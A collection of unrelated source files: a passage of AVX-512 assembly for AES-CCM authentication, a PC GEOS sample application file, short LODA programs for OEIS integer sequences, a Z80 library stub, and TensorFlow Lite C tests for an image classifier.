kmovw k1, [tmp2 + iv_len*2]
vmovdqu8 init_block0{k1}, [tmp]
vpslldq init_block0, init_block0, 1
;; Bytes 14 & 15 (message length), in Big Endian
mov ax, [job + _msg_len_to_hash_in_bytes]
xchg al, ah
vpinsrw init_block0, ax, 7
mov aad_len, [job + _cbcmac_aad_len]
;; Initial length to authenticate (Block 0)
mov auth_len, 16
;; Length to authenticate (Block 0 + len(AAD) (2B) + AAD padded,
;; so length is multiple of 64B)
lea auth_len_aad, [aad_len + (2 + 15) + 16]
and auth_len_aad, -16
or aad_len, aad_len
cmovne auth_len, auth_len_aad
;; Update lengths to authenticate and find min length
vmovdqa ccm_lens, [state + _aes_ccm_lens]
%ifndef LINUX
mov tmp3, rcx ; save rcx
%endif
mov rcx, lane
mov tmp, 1
shl tmp, cl
%ifndef LINUX
mov rcx, tmp3 ; restore rcx
%endif
kmovq k1, tmp
vpbroadcastw ytmp0, WORD(auth_len)
vmovdqu16 ccm_lens{k1}, ytmp0
vmovdqa64 [state + _aes_cmac_lens], ccm_lens
vphminposuw min_len_idx, XWORD(ccm_lens)
mov tmp, lane
shl tmp, 6
lea init_block_addr, [state + _aes_ccm_init_blocks + tmp]
or aad_len, aad_len
je %%_aad_complete
or flags, (1 << 6) ; Set Adata bit in flags
;; Copy AAD
;; Set all 0s in last block (padding)
lea tmp, [init_block_addr + auth_len]
sub tmp, 16
vpxor xtmp0, xtmp0
vmovdqa [tmp], xtmp0
;; Start copying from second block
lea tmp, [init_block_addr+16]
mov rax, aad_len
xchg al, ah
mov [tmp], ax
add tmp, 2
lea tmp2, [rel byte64_len_to_mask_table]
kmovq k1, [tmp2 + aad_len*8]
mov tmp2, [job + _cbcmac_aad]
vmovdqu8 ZWORD(xtmp0){k1}, [tmp2]
vmovdqu8 [tmp]{k1}, ZWORD(xtmp0)
%%_aad_complete:
;; Finish Block 0 with Byte 0
vpinsrb init_block0, BYTE(flags), 0
vmovdqa [init_block_addr], init_block0
mov [state + _aes_ccm_args_in + lane * 8], init_block_addr
cmp qword [state + _aes_ccm_num_lanes_inuse], 16
jne %%_return_null
%else ; end SUBMIT
;; Check at least one job
cmp qword [state + _aes_ccm_num_lanes_inuse], 0
je %%_return_null
; find a lane with a non-null job
vpxord zmm7, zmm7, zmm7
vmovdqu64 zmm1, [state + _aes_ccm_job_in_lane + (0*PTR_SZ)]
vmovdqu64 zmm2, [state + _aes_ccm_job_in_lane + (8*PTR_SZ)]
vpcmpq k1, zmm1, zmm7, 4 ; NEQ
vpcmpq k2, zmm2, zmm7, 4 ; NEQ
kmovw DWORD(tmp), k1
kmovw DWORD(tmp4), k2
mov DWORD(tmp2), DWORD(tmp4)
shl DWORD(tmp2), 8
or DWORD(tmp2), DWORD(tmp) ; mask of non-null jobs in tmp2
not BYTE(tmp)
kmovw k4, DWORD(tmp)
not BYTE(tmp4)
kmovw k5, DWORD(tmp4)
mov DWORD(tmp), DWORD(tmp2)
not WORD(tmp)
kmovw k6, DWORD(tmp) ; mask of NULL jobs in k4, k5 and k6
mov DWORD(tmp), DWORD(tmp2)
xor tmp2, tmp2
bsf WORD(tmp2), WORD(tmp) ; index of the 1st set bit in tmp2
;; copy good lane data into NULL lanes
mov tmp, [state + _aes_ccm_args_in + tmp2*8]
vpbroadcastq zmm1, tmp
vmovdqa64 [state + _aes_ccm_args_in + (0*PTR_SZ)]{k4}, zmm1
vmovdqa64 [state + _aes_ccm_args_in + (8*PTR_SZ)]{k5}, zmm1
;; - set len to UINT16_MAX
mov WORD(tmp), 0xffff
vpbroadcastw ytmp0, WORD(tmp)
vmovdqa64 ccm_lens, [state + _aes_ccm_lens]
vmovdqu16 ccm_lens{k6}, ytmp0
vmovdqa64 [state + _aes_ccm_lens], ccm_lens
;; - copy init done
movzx tmp, word [state + _aes_ccm_init_done + tmp2*2]
vpbroadcastw ytmp0, WORD(tmp)
vmovdqa64 ytmp1, [state + _aes_ccm_init_done]
vmovdqu16 ytmp1{k6}, ytmp0
vmovdqa64 [state + _aes_ccm_init_done], ytmp1
;; scale up good lane idx before copying IV and keys
shl tmp2, 4
;; - copy IV and round keys to null lanes
COPY_IV_KEYS_TO_NULL_LANES tmp2, tmp4, tmp3, xmm4, xmm5, k6
;; Find min length for lanes 0-7
vphminposuw min_len_idx, XWORD(ccm_lens)
%endif ; end FLUSH
%%_ccm_round:
; Find min length for lanes 8-15
vpextrw DWORD(len2), min_len_idx, 0 ; min value
vpextrw DWORD(min_idx), min_len_idx, 1 ; min index
vextracti128 xtmp1, ccm_lens, 1
vphminposuw min_len_idx, xtmp1
vpextrw DWORD(tmp4), min_len_idx, 0 ; min value
cmp DWORD(len2), DWORD(tmp4)
jle %%_use_min
vpextrw DWORD(min_idx), min_len_idx, 1 ; min index
add DWORD(min_idx), 8 ; but index +8
mov len2, tmp4 ; min len
%%_use_min:
mov min_job, [state + _aes_ccm_job_in_lane + min_idx*8]
cmp len2, 0
je %%_len_is_0
vpbroadcastw ytmp0, WORD(len2)
vpsubw ccm_lens, ccm_lens, ytmp0
vmovdqa [state + _aes_cmac_lens], ccm_lens
; "state" and "args" are the same address, arg1
; len2 is arg2
call AES128_CBC_MAC
; state and min_idx are intact
%%_len_is_0:
movzx tmp, WORD [state + _aes_ccm_init_done + min_idx*2]
cmp WORD(tmp), 0
je %%_prepare_full_blocks_to_auth
cmp WORD(tmp), 1
je %%_prepare_partial_block_to_auth
%%_encrypt_digest:
;; Set counter block 0 (reusing previous initial block 0)
mov tmp, min_idx
shl tmp, 3
vmovdqa init_block0, [state + _aes_ccm_init_blocks + tmp * 8]
vpand init_block0, [rel counter_mask]
lea tmp2, [state + _aes_ccm_args_key_tab + tmp*2]
ENCRYPT_SINGLE_BLOCK tmp2, init_block0
vpxor init_block0, [state + _aes_ccm_args_IV + tmp*2]
;; Copy Mlen bytes into auth_tag_output (Mlen = 4,6,8,10,12,14,16)
mov min_job, [state + _aes_ccm_job_in_lane + tmp]
mov tmp3, [min_job + _auth_tag_output_len_in_bytes]
mov tmp2, [min_job + _auth_tag_output]
simd_store_avx tmp2, init_block0, tmp3, tmp, tmp4
%%_update_lanes:
; Update unused lanes
mov unused_lanes, [state + _aes_ccm_unused_lanes]
shl unused_lanes, 4
or unused_lanes, min_idx
mov [state + _aes_ccm_unused_lanes], unused_lanes
sub qword [state + _aes_ccm_num_lanes_inuse], 1
; Set return job
mov job_rax, min_job
mov qword [state + _aes_ccm_job_in_lane + min_idx*8], 0
or dword [job_rax + _status], STS_COMPLETED_HMAC
%ifdef SAFE_DATA
vpxorq ZWORD(xtmp0), ZWORD(xtmp0)
%ifidn %%SUBMIT_FLUSH, SUBMIT
shl min_idx, 4
;; Clear digest (in memory for CBC IV), counter block 0 and AAD of returned job
vmovdqa [state + _aes_ccm_args_IV + min_idx], xtmp0
vmovdqa64 [state + _aes_ccm_init_blocks + min_idx * 4], ZWORD(xtmp0)
;; Clear expanded keys
%assign round 0
%rep NROUNDS + 2
vmovdqa [state + _aes_ccm_args_key_tab + round * (16*16) + min_idx], xtmp0
%assign round (round + 1)
%endrep
%else ;; FLUSH
;; Clear digest (in memory for CBC IV), counter block 0 and AAD
;; of returned job and "NULL lanes"
xor DWORD(tmp2), DWORD(tmp2)
bts DWORD(tmp2), DWORD(min_idx)
kmovw k1, DWORD(tmp2)
korw k6, k1, k6
;; Clear IVs, keys and counter block 0 of returned job and "NULL lanes"
;; (k6 contains the mask of the jobs)
CLEAR_IV_KEYS_BLK0_IN_NULL_LANES tmp2, xtmp0, k6
%endif ;; SUBMIT
%endif ;; SAFE_DATA
%%_return:
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
mov r13, [rsp + _gpr_save + 8*3]
mov r14, [rsp + _gpr_save + 8*4]
mov r15, [rsp + _gpr_save + 8*5]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*6]
mov rdi, [rsp + _gpr_save + 8*7]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
%%_return_null:
xor job_rax, job_rax
jmp %%_return
%%_prepare_full_blocks_to_auth:
cmp dword [min_job + _cipher_direction], 2 ; DECRYPT
je %%_decrypt
%%_encrypt:
mov tmp, [min_job + _src]
add tmp, [min_job + _hash_start_src_offset_in_bytes]
jmp %%_set_init_done_1
%%_decrypt:
mov tmp, [min_job + _dst]
%%_set_init_done_1:
mov [state + _aes_ccm_args_in + min_idx*8], tmp
mov word [state + _aes_ccm_init_done + min_idx*2], 1
; Check if there are full blocks to hash
mov tmp, [min_job + _msg_len_to_hash_in_bytes]
and tmp, -16
je %%_prepare_partial_block_to_auth
;; Update lengths to authenticate and find min length
vmovdqa ccm_lens, [state + _aes_ccm_lens]
%ifndef LINUX
mov tmp3, rcx ; save rcx
%endif
mov rcx, min_idx
mov tmp2, 1
shl tmp2, cl
%ifndef LINUX
mov rcx, tmp3 ; restore rcx
%endif
kmovq k1, tmp2
vpbroadcastw ytmp0, WORD(tmp)
vmovdqu16 ccm_lens{k1}, ytmp0
vmovdqa64 [state + _aes_cmac_lens], ccm_lens
vphminposuw min_len_idx, XWORD(ccm_lens)
jmp %%_ccm_round
%%_prepare_partial_block_to_auth:
; Check if partial block needs to be hashed
mov auth_len, [min_job + _msg_len_to_hash_in_bytes]
and auth_len, 15
je %%_encrypt_digest
mov word [state + _aes_ccm_init_done + min_idx * 2], 2
;; Update lengths to authenticate and find min length
vmovdqa ccm_lens, [state + _aes_ccm_lens]
%ifndef LINUX
mov tmp3, rcx ; save rcx
%endif
mov rcx, min_idx
mov tmp2, 1
shl tmp2, cl
%ifndef LINUX
mov rcx, tmp3 ; restore rcx
%endif
kmovq k1, tmp2
mov tmp2, 16
vpbroadcastw ytmp0, WORD(tmp2)
vmovdqu16 ccm_lens{k1}, ytmp0
vmovdqa64 [state + _aes_cmac_lens], ccm_lens
vphminposuw min_len_idx, XWORD(ccm_lens)
mov tmp2, min_idx
shl tmp2, 6
add tmp2, 16 ; pb[AES_BLOCK_SIZE]
lea init_block_addr, [state + _aes_ccm_init_blocks + tmp2]
mov tmp2, [state + _aes_ccm_args_in + min_idx * 8]
simd_load_avx_15_1 xtmp0, tmp2, auth_len
%%_finish_partial_block_copy:
vmovdqa [init_block_addr], xtmp0
mov [state + _aes_ccm_args_in + min_idx * 8], init_block_addr
jmp %%_ccm_round
%endmacro
align 64
; JOB_AES_HMAC * submit_job_aes_ccm_auth_vaes_avx512(MB_MGR_CCM_OOO *state, JOB_AES_HMAC *job)
; arg 1 : state
; arg 2 : job
MKGLOBAL(SUBMIT_JOB_AES_CCM_AUTH,function,internal)
SUBMIT_JOB_AES_CCM_AUTH:
GENERIC_SUBMIT_FLUSH_JOB_AES_CCM_AUTH_AVX SUBMIT
; JOB_AES_HMAC * flush_job_aes_ccm_auth_vaes_avx512(MB_MGR_CCM_OOO *state)
; arg 1 : state
MKGLOBAL(FLUSH_JOB_AES_CCM_AUTH,function,internal)
FLUSH_JOB_AES_CCM_AUTH:
GENERIC_SUBMIT_FLUSH_JOB_AES_CCM_AUTH_AVX FLUSH
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Item (Sample PC GEOS application)
FILE: init.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 6/1/92 Initial version
DESCRIPTION:
This file source code for the Item application. This code will
be assembled by ESP, and then linked by the GLUE linker to produce
a runnable .geo application file.
RCS STAMP:
$Id: init.asm,v 1.1 97/04/04 16:34:30 newdeal Exp $
------------------------------------------------------------------------------@
ItemCommonCode segment resource ;start of code resource
COMMENT @----------------------------------------------------------------------
FUNCTION: ItemGenProcessOpenApplication --
MSG_GEN_PROCESS_OPEN_APPLICATION
SYNOPSIS: This is the method handler for the method that is sent out
when the application is started up or restarted from
state. After calling our superclass, we do any initialization
that is necessary.
CALLED BY:
PASS: AX = Method
CX = AppAttachFlags
DX = Handle to AppLaunchBlock
BP = Block handle
DS, ES = DGroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 6/1/92 Initial version
------------------------------------------------------------------------------@
INITIAL_NUMBER_OF_ITEMS equ 4
ItemGenProcessOpenApplication method ItemGenProcessClass,
MSG_GEN_PROCESS_OPEN_APPLICATION
;Initialize our list (create an LMem heap for it.)
call ItemInitializeList
;before any UI elements are visible on the screen, create our
;linked list.
mov cx, INITIAL_NUMBER_OF_ITEMS
;set the number of items to be created
10$: ;create an item
push cx ;save the counter
mov ax, cx
dec ax ;correct the value to be stored
clr cx ;Always insert @ the head of the list
call ItemInsert
pop cx ;recover the counter
loop 10$ ;and insert next item, if appropriate
;tell the list how many items it has initially
mov cx, INITIAL_NUMBER_OF_ITEMS
GetResourceHandleNS ItemGenDynamicList, bx
mov si, offset ItemGenDynamicList
mov ax, MSG_GEN_DYNAMIC_LIST_INITIALIZE
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
;Now call our superclass
mov ax, MSG_GEN_PROCESS_OPEN_APPLICATION
mov di, offset ItemGenProcessClass ; class of SuperClass we call
call ObjCallSuperNoLock ; method already in AX
ret
ItemGenProcessOpenApplication endm
COMMENT @----------------------------------------------------------------------
FUNCTION: ItemGenProcessCloseApplication --
MSG_GEN_PROCESS_CLOSE_APPLICATION
SYNOPSIS: This is the method handler for the method that is sent out
when the application is exited.
CALLED BY:
PASS: AX = Method
DS, ES = DGroup
RETURN: nothing
DESTROYED: ?
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 6/1/92 Initial version
------------------------------------------------------------------------------@
ItemGenProcessCloseApplication method ItemGenProcessClass,
MSG_GEN_PROCESS_CLOSE_APPLICATION
;Destroy our list.
call ItemDestroyList
;Now call our superclass
mov ax, MSG_GEN_PROCESS_CLOSE_APPLICATION
mov di, offset ItemGenProcessClass ; class of SuperClass we call
call ObjCallSuperNoLock ; method already in AX
ret
ItemGenProcessCloseApplication endm
ItemCommonCode ends ;end of CommonCode resource
|
; A117904: Number triangle [k<=n]*0^abs(L(C(n,2)/3)-L(C(k,2)/3)) where L(j/p) is the Legendre symbol of j and p.
; 1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,0
lpb $0
add $2,5
mul $2,2
mul $2,$0
add $3,1
sub $0,$3
mul $2,$3
mod $2,3
cmp $1,$2
lpe
add $1,1
mod $1,2
mov $0,$1
|
; A022846: Nearest integer to n*sqrt(2).
; 0,1,3,4,6,7,8,10,11,13,14,16,17,18,20,21,23,24,25,27,28,30,31,33,34,35,37,38,40,41,42,44,45,47,48,49,51,52,54,55,57,58,59,61,62,64,65,66,68,69,71,72,74,75,76,78,79,81,82,83,85,86,88,89,91,92,93,95,96,98,99,100,102,103,105,106,107,109,110,112,113,115,116,117,119,120,122,123,124,126,127,129,130,132,133,134,136,137,139,140
pow $0,2
lpb $0
add $1,1
trn $0,$1
lpe
mov $0,$1
|
; int bv_priority_queue_pop(bv_priority_queue_t *q)
SECTION code_adt_bv_priority_queue
PUBLIC bv_priority_queue_pop
defc bv_priority_queue_pop = asm_bv_priority_queue_pop
INCLUDE "adt/bv_priority_queue/z80/asm_bv_priority_queue_pop.asm"
|
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow_lite_support/c/task/vision/image_classifier.h"
#include <string.h>
#include "tensorflow/lite/core/shims/cc/shims_test_util.h"
#include "tensorflow_lite_support/c/common.h"
#include "tensorflow_lite_support/c/task/processor/classification_result.h"
#include "tensorflow_lite_support/c/task/vision/core/frame_buffer.h"
#include "tensorflow_lite_support/cc/port/gmock.h"
#include "tensorflow_lite_support/cc/port/gtest.h"
#include "tensorflow_lite_support/cc/port/status_matchers.h"
#include "tensorflow_lite_support/cc/test/test_utils.h"
#include "tensorflow_lite_support/examples/task/vision/desktop/utils/image_utils.h"
namespace tflite {
namespace task {
namespace vision {
namespace {
using ::testing::HasSubstr;
using ::tflite::support::StatusOr;
using ::tflite::task::JoinPath;
constexpr char kTestDataDirectory[] =
"/tensorflow_lite_support/cc/test/testdata/task/"
"vision/";
// Quantized model.
constexpr char kMobileNetQuantizedWithMetadata[] =
"mobilenet_v1_0.25_224_quant.tflite";
StatusOr<ImageData> LoadImage(const char* image_name) {
return DecodeImageFromFile(JoinPath("./" /*test src dir*/,
kTestDataDirectory, image_name));
}
class ImageClassifierFromOptionsTest : public tflite_shims::testing::Test {};
TEST_F(ImageClassifierFromOptionsTest, FailsWithNullOptionsAndError) {
TfLiteSupportError* error = nullptr;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(nullptr, &error);
EXPECT_EQ(image_classifier, nullptr);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("Expected non null options"));
TfLiteSupportErrorDelete(error);
}
TEST_F(ImageClassifierFromOptionsTest, FailsWithMissingModelPath) {
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, nullptr);
EXPECT_EQ(image_classifier, nullptr);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
}
TEST_F(ImageClassifierFromOptionsTest, FailsWithMissingModelPathAndError) {
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
TfLiteSupportError* error = nullptr;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, &error);
EXPECT_EQ(image_classifier, nullptr);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("`base_options.model_file`"));
TfLiteSupportErrorDelete(error);
}
TEST_F(ImageClassifierFromOptionsTest, SucceedsWithModelPath) {
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata);
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, nullptr);
EXPECT_NE(image_classifier, nullptr);
TfLiteImageClassifierDelete(image_classifier);
}
TEST_F(ImageClassifierFromOptionsTest, SucceedsWithNumberOfThreadsAndError) {
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata);
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
options.base_options.compute_settings.cpu_settings.num_threads = 3;
TfLiteSupportError* error = nullptr;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, &error);
EXPECT_NE(image_classifier, nullptr);
EXPECT_EQ(error, nullptr);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
if (error) TfLiteSupportErrorDelete(error);
}
TEST_F(ImageClassifierFromOptionsTest,
FailsWithClassNameDenyListAndClassNameAllowListAndError) {
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata);
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
const char* label_denylist[] = {"brambling"};
options.classification_options.label_denylist.list = label_denylist;
options.classification_options.label_denylist.length = 1;
const char* label_allowlist[] = {"cheeseburger"};
options.classification_options.label_allowlist.list = label_allowlist;
options.classification_options.label_allowlist.length = 1;
TfLiteSupportError* error = nullptr;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, &error);
EXPECT_EQ(image_classifier, nullptr);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("mutually exclusive options"));
TfLiteSupportErrorDelete(error);
}
TEST(ImageClassifierNullClassifierClassifyTest,
FailsWithNullImageClassifierAndError) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteSupportError* error = nullptr;
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(nullptr, nullptr, &error);
ImageDataFree(&image_data);
EXPECT_EQ(classification_result, nullptr);
if (classification_result)
TfLiteClassificationResultDelete(classification_result);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("Expected non null image classifier"));
TfLiteSupportErrorDelete(error);
}
class ImageClassifierClassifyTest : public tflite_shims::testing::Test {
protected:
void SetUp() override {
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata);
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
image_classifier = TfLiteImageClassifierFromOptions(&options, nullptr);
ASSERT_NE(image_classifier, nullptr);
}
void TearDown() override { TfLiteImageClassifierDelete(image_classifier); }
TfLiteImageClassifier* image_classifier;
};
TEST_F(ImageClassifierClassifyTest, SucceedsWithImageData) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {
.format = kRGB,
.orientation = kTopLeft,
.dimension = {.width = image_data.width, .height = image_data.height},
.buffer = image_data.pixel_data};
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(image_classifier, &frame_buffer, nullptr);
ImageDataFree(&image_data);
ASSERT_NE(classification_result, nullptr);
EXPECT_GE(classification_result->size, 1);
EXPECT_NE(classification_result->classifications, nullptr);
EXPECT_GE(classification_result->classifications->size, 1);
EXPECT_NE(classification_result->classifications->categories, nullptr);
EXPECT_EQ(strcmp(classification_result->classifications->categories[0].label,
"cheeseburger"),
0);
EXPECT_GE(classification_result->classifications->categories[0].score, 0.90);
TfLiteClassificationResultDelete(classification_result);
}
TEST_F(ImageClassifierClassifyTest, FailsWithNullFrameBufferAndError) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteSupportError* error = nullptr;
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(image_classifier, nullptr, &error);
ImageDataFree(&image_data);
EXPECT_EQ(classification_result, nullptr);
if (classification_result)
TfLiteClassificationResultDelete(classification_result);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("Expected non null frame buffer"));
TfLiteSupportErrorDelete(error);
}
TEST_F(ImageClassifierClassifyTest, FailsWithNullImageDataAndError) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {.format = kRGB, .orientation = kTopLeft};
TfLiteSupportError* error = nullptr;
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(image_classifier, &frame_buffer, &error);
ImageDataFree(&image_data);
EXPECT_EQ(classification_result, nullptr);
if (classification_result)
TfLiteClassificationResultDelete(classification_result);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("Invalid stride information"));
TfLiteSupportErrorDelete(error);
}
TEST_F(ImageClassifierClassifyTest, SucceedsWithRoiWithinImageBounds) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {
.format = kRGB,
.orientation = kTopLeft,
.dimension = {.width = image_data.width, .height = image_data.height},
.buffer = image_data.pixel_data};
TfLiteBoundingBox bounding_box = {
.origin_x = 0, .origin_y = 0, .width = 100, .height = 100};
TfLiteSupportError* error = nullptr;
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassifyWithRoi(image_classifier, &frame_buffer,
&bounding_box, &error);
ImageDataFree(&image_data);
ASSERT_NE(classification_result, nullptr);
EXPECT_GE(classification_result->size, 1);
EXPECT_NE(classification_result->classifications, nullptr);
EXPECT_GE(classification_result->classifications->size, 1);
EXPECT_NE(classification_result->classifications->categories, nullptr);
EXPECT_EQ(strcmp(classification_result->classifications->categories[0].label,
"bagel"),
0);
EXPECT_GE(classification_result->classifications->categories[0].score, 0.30);
TfLiteClassificationResultDelete(classification_result);
}
TEST_F(ImageClassifierClassifyTest, FailsWithRoiOutsideImageBoundsAndError) {
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {
.format = kRGB,
.orientation = kTopLeft,
.dimension = {.width = image_data.width, .height = image_data.height},
.buffer = image_data.pixel_data};
TfLiteBoundingBox bounding_box = {
.origin_x = 0, .origin_y = 0, .width = 250, .height = 250};
TfLiteSupportError* error = nullptr;
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassifyWithRoi(image_classifier, &frame_buffer,
&bounding_box, &error);
ImageDataFree(&image_data);
EXPECT_EQ(classification_result, nullptr);
if (classification_result)
TfLiteClassificationResultDelete(classification_result);
ASSERT_NE(error, nullptr);
EXPECT_EQ(error->code, kInvalidArgumentError);
EXPECT_NE(error->message, nullptr);
EXPECT_THAT(error->message, HasSubstr("Invalid crop coordinates"));
TfLiteSupportErrorDelete(error);
}
TEST(ImageClassifierWithUserDefinedOptionsClassifyTest,
SucceedsWithClassNameDenyList) {
const char* denylisted_label_name = "cheeseburger";
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata);
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
const char* label_denylist[] = {denylisted_label_name};
options.classification_options.label_denylist.list = label_denylist;
options.classification_options.label_denylist.length = 1;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, nullptr);
ASSERT_NE(image_classifier, nullptr);
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {
.format = kRGB,
.orientation = kTopLeft,
.dimension = {.width = image_data.width, .height = image_data.height},
.buffer = image_data.pixel_data};
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(image_classifier, &frame_buffer, nullptr);
ImageDataFree(&image_data);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
ASSERT_NE(classification_result, nullptr);
EXPECT_GE(classification_result->size, 1);
EXPECT_NE(classification_result->classifications, nullptr);
EXPECT_GE(classification_result->classifications->size, 1);
EXPECT_NE(classification_result->classifications->categories, nullptr);
EXPECT_NE(strcmp(classification_result->classifications->categories[0].label,
denylisted_label_name),
0);
TfLiteClassificationResultDelete(classification_result);
}
TEST(ImageClassifierWithUserDefinedOptionsClassifyTest,
SucceedsWithClassNameAllowList) {
const char* allowlisted_label_name = "cheeseburger";
std::string model_path =
JoinPath("./" /*test src dir*/, kTestDataDirectory,
kMobileNetQuantizedWithMetadata)
.data();
TfLiteImageClassifierOptions options = TfLiteImageClassifierOptionsCreate();
options.base_options.model_file.file_path = model_path.data();
const char* label_allowlist[] = {allowlisted_label_name};
options.classification_options.label_allowlist.list = label_allowlist;
options.classification_options.label_allowlist.length = 1;
TfLiteImageClassifier* image_classifier =
TfLiteImageClassifierFromOptions(&options, nullptr);
ASSERT_NE(image_classifier, nullptr);
SUPPORT_ASSERT_OK_AND_ASSIGN(ImageData image_data, LoadImage("burger-224.png"));
TfLiteFrameBuffer frame_buffer = {
.format = kRGB,
.orientation = kTopLeft,
.dimension = {.width = image_data.width, .height = image_data.height},
.buffer = image_data.pixel_data};
TfLiteClassificationResult* classification_result =
TfLiteImageClassifierClassify(image_classifier, &frame_buffer, nullptr);
ImageDataFree(&image_data);
if (image_classifier) TfLiteImageClassifierDelete(image_classifier);
ASSERT_NE(classification_result, nullptr);
EXPECT_GE(classification_result->size, 1);
EXPECT_NE(classification_result->classifications, nullptr);
EXPECT_GE(classification_result->classifications->size, 1);
EXPECT_NE(classification_result->classifications->categories, nullptr);
EXPECT_EQ(strcmp(classification_result->classifications->categories[0].label,
allowlisted_label_name),
0);
TfLiteClassificationResultDelete(classification_result);
}
} // namespace
} // namespace vision
} // namespace task
} // namespace tflite
|
; A277987: a(n) = 100*n - 28.
; -28,72,172,272,372,472,572,672,772,872,972,1072,1172,1272,1372,1472,1572,1672,1772,1872,1972,2072,2172,2272,2372,2472,2572,2672,2772,2872,2972,3072,3172,3272,3372,3472,3572,3672,3772,3872,3972
sub $0,1
mul $0,100
add $0,72
|
